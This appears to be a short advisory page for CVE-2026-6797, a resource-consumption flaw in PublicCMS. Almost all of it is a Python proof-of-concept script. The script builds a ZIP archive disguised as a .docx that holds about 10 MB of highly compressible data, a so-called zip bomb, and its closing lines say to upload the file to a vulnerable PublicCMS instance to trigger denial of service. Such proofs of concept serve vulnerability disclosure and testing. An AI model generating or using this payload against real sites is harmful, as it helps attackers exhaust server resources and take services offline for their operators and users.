CVE-2026-6797 PublicCMS资源消耗漏洞

# Proof of Concept (PoC) for Resource Consumption # This script generates a malicious ZIP file (e.g., a crafted DOCX structure) # that contains a highly compressed file to trigger the resource exhaustion. import zipfile import io # Create a malicious archive structure # In a real scenario, this would be wrapped in the specific file format expected by the app (e.g., .docx) zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a file with repeating patterns to achieve high compression ratio # 10MB of 'A's compresses down to a few KB malicious_content = b'A' * (10 * 1024 * 1024) # Write the content to a file inside the ZIP # The specific filename depends on the target application's parsing logic zf.writestr('media/malicious_image.xml', malicious_content) # Save the generated malicious file malicious_filename = 'exploit_doc.docx' with open(malicious_filename, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"[+] Generated {malicious_filename} containing a Zip Bomb.") print("[+] Upload this file to the vulnerable PublicCMS instance to trigger the DoS.")